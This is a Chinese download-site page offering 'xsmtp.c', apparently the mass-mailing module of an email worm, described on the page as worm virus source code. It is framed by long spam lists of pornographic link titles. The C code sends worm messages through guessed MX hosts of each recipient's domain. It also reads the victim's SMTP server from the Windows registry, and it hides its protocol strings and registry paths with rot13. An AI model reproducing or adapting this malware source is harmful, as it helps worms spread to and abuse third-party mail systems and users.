亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來(lái)到蟲(chóng)蟲(chóng)下載站! | ?? 資源下載 ?? 資源專(zhuān)輯 ?? 關(guān)于我們
? 蟲(chóng)蟲(chóng)下載站

?? xsmtp.c

?? 一個(gè)蠕蟲(chóng)病毒源代碼
?? C
字號(hào):
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include "lib.h"
#include "xdns.h"
#include "massmail.h"
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "user32.lib")

#define my_tolower(c) (((c) >= 'a' && (c) <= 'z') ? ((c)-'a'+'A') : (c));
#define my_isdigit(c) ((c) >= '0' && (c) <= '9')
#define my_isalpha(c) (((c) >= 'a' && (c) <= 'z') || ((c) >= 'A' && (c) <= 'Z'))
#define my_isalnum(c) (my_isdigit(c) || my_isalpha(c))

static int recvline(SOCKET s, char *buf, int size, unsigned long timeout)
{
	int i, t;
	for (i=0; (i+1)<size;) {
		if (timeout != 0) {
			fd_set fds;
			struct timeval tv;
			FD_ZERO(&fds);
			FD_SET(s, &fds);
			tv.tv_sec = timeout / 1000;
			tv.tv_usec = (timeout % 1000) * 1000;
			if (select(0, &fds, NULL, NULL, &tv) <= 0)
				break;
		}
		t = recv(s, buf+i, 1, 0);
		if (t < 0) return -1;
		if (t == 0) break;
		if (buf[i++] == '\n') break;
	}
	buf[i] = 0;
	return i;
}

static unsigned long my_atou_x(char *s)
{
	unsigned radix=10, c;
	unsigned long n=0;

	while (*s == ' ' || *s == '\t') s++;

	if (s[0] == '0' && s[1] == 'x') {
		radix = 16;
		s += 2;
	}

	while (my_isalnum(*s)) {
		c = my_tolower(*s); s++;
		if (my_isdigit(c)) c=c-'0'; else c=c-'A'+10;
		if (c >= radix) break;
		n = n * radix + c;
	}

	return n;
}

static int my_atoi(char *s)
{
	int n=0;
	while (*s == ' ' || *s == '\t') s++;
	while (my_isalnum(*s))
		n = n * 10 + (*s++ - '0');
	return n;
}

static unsigned long resolve(char *hostname)
{
	unsigned long ip = inet_addr(hostname);
	if (ip == 0xFFFFFFFF || (ip == 0 && hostname[0] != '0')) {
		struct hostent *h = gethostbyname(hostname);
		if (h != NULL)
			ip = *(unsigned long *)h->h_addr_list[0];
	}
	if (ip == 0xFFFFFFFF) ip = 0;
	return ip;
}

static int mail_extracthdr(char *headers, char *name, char *buf, int bufsize)
{
	char *p = headers, *q;
	char hdrname[256];
	int i;

	if (headers == NULL || name == NULL || buf == NULL || bufsize <= 0) return 1;
	while (*p == '\r' || *p == '\n' || *p == ' ' || *p == '\t') p++;

	while (*p) {
		for (i=0; i<(sizeof(hdrname)-1);) {
			char c = *p++;
			if (c == 0) break;
			if (c == ':' || c == '\r' || c == '\n') { p--; break; }
			if (c == '\t') c=' ';
			if (i>0 && c==' ') { if(hdrname[i-1]==' ') continue; }
			if (i==0 && c==' ') continue;
			hdrname[i++] = c;
		}
		hdrname[i] = 0;

		if (*p == 0) break;

		if (hdrname[lstrlen(hdrname)-1] == ' ') hdrname[lstrlen(hdrname)-1] = 0;
		if (hdrname[0] == 0) break;

		if (*p == ':') {
			CharLower(hdrname);
			if (lstrcmpi(hdrname, name) == 0) {
				p++;
				goto hdr_found;
			}
		}

		while (*p != '\n' && *p != '\r' && *p) p++;
		if (*p == 0) break;

		if (*p == '\n') {
			p++;
			if (*p == '\r') p++;
		} else if (*p == '\r') {
			p++;
			if (*p == '\n') p++;
		}
		if (*p == '\n' || *p == '\r') break;
	}

	return 1;

hdr_found:
	if (*p == ' ' || *p == '\t') p++;
	for (i=0; i<(bufsize-1);) {
		char c = *p++;
		if (c == '\r' || c == '\n') {
			q = p--;
			while (*q == '\n' || *q == '\r') q++;
			if (*q != ' ' && *q != '\t') break;

			while (*p == '\n' || *p == '\r') p++;
			continue;
		}
		buf[i++] = c;
	}
	buf[i] = 0;
	return 0;
}

static int wait_sockread(SOCKET sock, unsigned long timeout)
{
	struct timeval tv;
	fd_set fds;

	tv.tv_sec = timeout / 1000;
	tv.tv_usec = (timeout % 1000) * 1000;
	FD_ZERO(&fds);
	FD_SET(sock, &fds);
	return (select(0, &fds, NULL, NULL, &tv) <= 0) ? 1 : 0;
}

static int smtp_issue(SOCKET sock, int timeout, LPCTSTR lpFormat, ...)
{
	char buf[1024], *p;
	int code;

	if (lpFormat != NULL) {
		va_list arglist;
			va_start(arglist, lpFormat);
		wvsprintf(buf, lpFormat, arglist);
		va_end(arglist);
		send(sock, buf, lstrlen(buf), 0);
	}

	for (;;) {
		if (recvline(sock, buf, sizeof(buf), timeout) <= 0) return 0;
		for (p=buf, code=0; *p == ' ' || *p == '\t'; p++);
		while (*p >= '0' && *p <= '9') code = code * 10 + *p++ - '0';
		if (*p == '-') continue;
		break;
	}

	return code;
}

static int smtp_send_server(struct sockaddr_in *addr, char *message)
{
	char from[256], from_domain[256], rcpt[256], *p, *q;
	char fmt[256];
	int stat;
	SOCKET sock;

	if (mail_extracthdr(message, "From", from, sizeof(from))) return 1;
	if (mail_extracthdr(message, "To", rcpt, sizeof(rcpt))) return 1;
	for (p=from; *p && *p != '@'; p++);
	if (*p == 0) return 1;
	lstrcpy(from_domain, p+1);

	sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (sock == INVALID_SOCKET) return 1;
	if (connect(sock, (struct sockaddr *)addr, sizeof(struct sockaddr_in)))
		goto err;

	if (wait_sockread(sock, 15000)) goto err;
	stat = smtp_issue(sock, 15000, NULL);
	if (stat < 200 || stat >= 400) goto err;

	rot13(fmt, "RUYB %f\r\n");	/* EHLO %s */
	stat = smtp_issue(sock, 10000, fmt, from_domain);
	if (stat < 200 || stat > 299) {
		rot13(fmt, "URYB %f\r\n");	/* "HELO %s\r\n" */
		stat = smtp_issue(sock, 10000, fmt, from_domain);
		if (stat < 200 || stat > 299) goto err;
	}

	rot13(fmt, "ZNVY SEBZ:<%f>\r\n");	/* "MAIL FROM:<%s>\r\n" */
	stat = smtp_issue(sock, 10000, fmt, from);
	if (stat < 200 || stat > 299) goto err;
	rot13(fmt, "EPCG GB:<%f>\r\n");		/* "RCPT TO:<%s>\r\n" */
	stat = smtp_issue(sock, 10000, fmt, rcpt);
	if (stat < 200 || stat > 299) goto err;

	stat = smtp_issue(sock, 10000, "DATA\r\n");
	if (stat < 200 || stat > 399) goto err;

	for (p=message;;) {
		for (q=p; *q && *q != '\n' && *q != '\r'; q++);
		while (*q == '\n' || *q == '\r') q++;
		if (p == q) break;

		if (*p == '.') send(sock, ".", 1, 0);
		if (send(sock, p, q-p, 0) <= 0) goto err;
		p = q;
	}

	send(sock, "\r\n.\r\n", 5, 0);

	stat = smtp_issue(sock, 15000, NULL);
	if (stat < 200 || stat >= 400) goto err;

	smtp_issue(sock, 5000, "QUIT\r\n");

	closesocket(sock);
	return 0;

err:	closesocket(sock);
	return 1;
}

//-----------------------------------------------------------------------------

static int xsmtp_try_isp(char *message)
{
	struct sockaddr_in addr;
	char buf1[128], buf2[256], buf3[256], buf4[128];
	DWORD indx, dwsize;
	HKEY regkey1, regkey2;
	int success;

	rot13(buf1, "Fbsgjner\\Zvpebfbsg\\Vagrearg Nppbhag Znantre\\Nppbhagf");

	rot13(buf4, "FZGC Freire");

	if (RegOpenKeyEx(HKEY_CURRENT_USER, buf1, 0, KEY_READ, &regkey1) != 0)
		return 1;
	indx = 0;
	success = 0;
	while (RegEnumKey(regkey1, indx++, buf2, sizeof(buf2)) == ERROR_SUCCESS) {
		if (RegOpenKeyEx(regkey1, buf2, 0, KEY_READ, &regkey2) != ERROR_SUCCESS)
			continue;
		memset(buf3, '\0', sizeof(buf3));
		dwsize = 256;
		if (RegQueryValueEx(regkey2, buf4, 0, 0, buf3, &dwsize) == 0) {
			addr.sin_addr.s_addr = resolve(buf3);
			if (addr.sin_addr.s_addr != 0) {
				addr.sin_family = AF_INET;
				addr.sin_port = htons(25);
				if (smtp_send_server(&addr, message) == 0)
					success = 1;
			}
		}
		RegCloseKey(regkey2);

		if (success) break;
	}
	RegCloseKey(regkey1);
	return (success) ? 0 : 1;
}

int smtp_send(struct mxlist_t *primary_mxs, char *message)
{
	struct sockaddr_in addr;
	char rcpt[256], rcpt_domain[256], *p, buf[256];
	struct mxlist_t *mxl;
	int i;

	if (message == NULL) return 1;

	if (mail_extracthdr(message, "To", rcpt, sizeof(rcpt))) return 1;
	for (p=rcpt; *p && *p != '@'; p++);
	if (*p == 0) return 1;
	lstrcpy(rcpt_domain, p+1);

	for (mxl=primary_mxs; mxl; mxl=mxl->next) {
		addr.sin_addr.s_addr = resolve(mxl->mx);
		if (addr.sin_addr.s_addr == 0) continue;
		addr.sin_family = AF_INET;
		addr.sin_port = htons(25);
		if (smtp_send_server(&addr, message) == 0)
			return 0;
	}

	for (i=0;; i++) {
		switch(i) {
			case 0: lstrcpy(buf, rcpt_domain); break;
			case 1: wsprintf(buf, "mx.%s", rcpt_domain); break;
			case 2: wsprintf(buf, "mail.%s", rcpt_domain); break;
			case 3: wsprintf(buf, "smtp.%s", rcpt_domain); break;
			case 4: wsprintf(buf, "mx1.%s", rcpt_domain); break;
			case 5: wsprintf(buf, "mxs.%s", rcpt_domain); break;
			case 6: wsprintf(buf, "mail1.%s", rcpt_domain); break;
			case 7: wsprintf(buf, "relay.%s", rcpt_domain); break;
			case 8: wsprintf(buf, "ns.%s", rcpt_domain); break;
			case 9: wsprintf(buf, "gate.%s", rcpt_domain); break;
			default: buf[0] = 0; break;
		}
		if (buf[0] == 0) break;
		addr.sin_addr.s_addr = resolve(buf);
		if (addr.sin_addr.s_addr == 0) continue;
		addr.sin_family = AF_INET;
		addr.sin_port = htons(25);
		if (smtp_send_server(&addr, message) == 0) return 0;

		if ((xrand16() % 100) < 20) break;
	}

	if ((xrand16() % 100) < 25)
		if (xsmtp_try_isp(message) == 0) return 0;

	return 1;
}

?? 快捷鍵說(shuō)明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲小说欧美激情另类| fc2成人免费人成在线观看播放 | 亚洲精品视频一区二区| 中文字幕二三区不卡| 欧美激情综合五月色丁香小说| 久久久亚洲精品一区二区三区| 久久综合精品国产一区二区三区| 欧美大黄免费观看| 精品国产人成亚洲区| 欧美成人福利视频| 久久毛片高清国产| 中文字幕国产一区二区| 中文字幕综合网| 亚洲精品成人在线| 亚洲成人av一区二区| 五月天国产精品| 久久精品国产免费看久久精品| 毛片一区二区三区| 极品销魂美女一区二区三区| 国产尤物一区二区在线| av在线播放一区二区三区| 91在线播放网址| 欧美性欧美巨大黑白大战| 欧美久久高跟鞋激| 精品裸体舞一区二区三区| 日本一区二区三区四区在线视频| 中文字幕一区二区三区精华液| 亚洲乱码精品一二三四区日韩在线| 亚洲一级二级三级| 麻豆精品久久久| 成人av在线资源网站| 欧美艳星brazzers| 欧美不卡视频一区| 国产精品色婷婷久久58| 亚洲国产精品天堂| 国产最新精品免费| 色8久久人人97超碰香蕉987| 欧美精品一二三| 国产日韩精品一区| 一区二区三区四区精品在线视频| 免费精品视频最新在线| 成人精品一区二区三区中文字幕| 欧美色图片你懂的| 久久精品一区二区三区不卡牛牛| 亚洲免费观看高清完整版在线观看 | 欧美在线你懂的| 日韩视频中午一区| 国产精品高潮呻吟久久| 奇米色777欧美一区二区| 懂色av一区二区在线播放| 欧美性受极品xxxx喷水| 欧美激情综合网| 五月天国产精品| 91在线视频在线| 日韩欧美成人一区二区| 一区二区三区在线视频免费观看| 久久国产精品色婷婷| 99综合影院在线| 亚洲精品在线电影| 亚洲一区二区视频| 成人网页在线观看| 91精品国产免费| 国产精品电影一区二区| 久久成人18免费观看| 91国产视频在线观看| 国产亚洲欧美一级| 日韩1区2区3区| 欧美在线一二三| 国产精品丝袜91| 九色综合狠狠综合久久| 欧洲一区在线观看| 国产精品欧美极品| 国产黑丝在线一区二区三区| 欧美一区二区三区视频在线| 一区二区三区高清在线| 波波电影院一区二区三区| 欧美v亚洲v综合ⅴ国产v| 无码av免费一区二区三区试看| 91蜜桃网址入口| 日本一区二区不卡视频| 狠狠色综合播放一区二区| 欧美一区二区三区色| 亚洲v精品v日韩v欧美v专区| 91国产成人在线| 亚洲欧美日本韩国| 99国产精品久久久久| 中文字幕av一区二区三区高| 国产精品一卡二卡| www激情久久| 精品在线免费观看| 日韩欧美激情在线| 久久疯狂做爰流白浆xx| 日韩女优av电影| 日本午夜精品一区二区三区电影| 欧美日韩一级大片网址| 亚洲成人av在线电影| 欧美视频一区二区在线观看| 亚洲一区在线视频观看| 在线观看精品一区| 亚洲蜜臀av乱码久久精品| 色综合天天综合网国产成人综合天| 国产精品蜜臀在线观看| 国产.精品.日韩.另类.中文.在线.播放| 精品久久久久99| 国内精品写真在线观看| 久久综合九色欧美综合狠狠 | 日韩欧美亚洲国产精品字幕久久久| 日韩专区一卡二卡| 欧美一区二区三区成人| 久久精品国产99久久6| 久久综合精品国产一区二区三区| 国产专区欧美精品| 国产欧美一区二区在线观看| www.亚洲激情.com| 亚洲免费观看高清完整版在线观看熊 | 日本精品视频一区二区| 樱花草国产18久久久久| 欧美日韩免费一区二区三区 | 激情综合色综合久久综合| 2023国产精品自拍| 高清成人在线观看| 中文字幕日韩欧美一区二区三区| 91小视频免费观看| 丝瓜av网站精品一区二区| 精品国产一区二区三区不卡| 国产成人午夜精品5599| 中文字幕日本乱码精品影院| 在线视频一区二区三| 蜜桃av噜噜一区二区三区小说| 精品国产乱码久久久久久闺蜜| 国产精品 欧美精品| 亚洲视频图片小说| 欧美久久久久久久久中文字幕| 激情久久五月天| 亚洲天天做日日做天天谢日日欢| 欧美日韩精品一区二区天天拍小说| 久久电影网站中文字幕| 中文字幕乱码久久午夜不卡 | 一区二区在线观看视频 | 亚洲天堂网中文字| 91精品午夜视频| 国产成人在线视频播放| 亚洲一区二区三区视频在线播放| 日韩精品一区二区三区视频| 成人av动漫网站| 婷婷夜色潮精品综合在线| 久久久国际精品| 91黄色免费版| 国产精品亚洲专一区二区三区| 亚洲精品水蜜桃| 久久综合九色综合久久久精品综合| 91搞黄在线观看| 国产麻豆欧美日韩一区| 亚洲综合男人的天堂| 久久你懂得1024| www国产精品av| 欧美在线观看18| 精品系列免费在线观看| 日韩理论电影院| 精品国产伦一区二区三区观看体验 | 中文字幕在线不卡一区二区三区 | 日韩国产高清在线| 国产精品久久免费看| 欧美刺激午夜性久久久久久久| 91在线观看成人| 国产精品影视网| 肉丝袜脚交视频一区二区| 综合婷婷亚洲小说| 国产欧美日韩麻豆91| 日韩视频在线观看一区二区| 一本一本久久a久久精品综合麻豆 一本一道波多野结衣一区二区 | 91麻豆精东视频| 水野朝阳av一区二区三区| 国产精品―色哟哟| 精品欧美乱码久久久久久1区2区| 色94色欧美sute亚洲线路二| 国产精品一线二线三线精华| 日韩高清不卡一区二区三区| 亚洲精品视频一区| 国产亚洲欧美一区在线观看| 日韩你懂的在线观看| 欧美性猛交xxxxxx富婆| 99re在线精品| 成人黄色电影在线| 国内精品伊人久久久久av一坑 | 激情综合网最新| 日韩国产一区二| 亚洲影视在线播放| 亚洲视频 欧洲视频| 国产精品欧美久久久久一区二区 | 免费视频一区二区| 五月天亚洲婷婷| 亚洲一区二区精品久久av| 日韩美女视频一区| 国产精品久久影院| 国产精品你懂的| 亚洲欧洲日韩一区二区三区| 国产欧美在线观看一区| 国产欧美一区二区精品性色| 久久亚洲私人国产精品va媚药|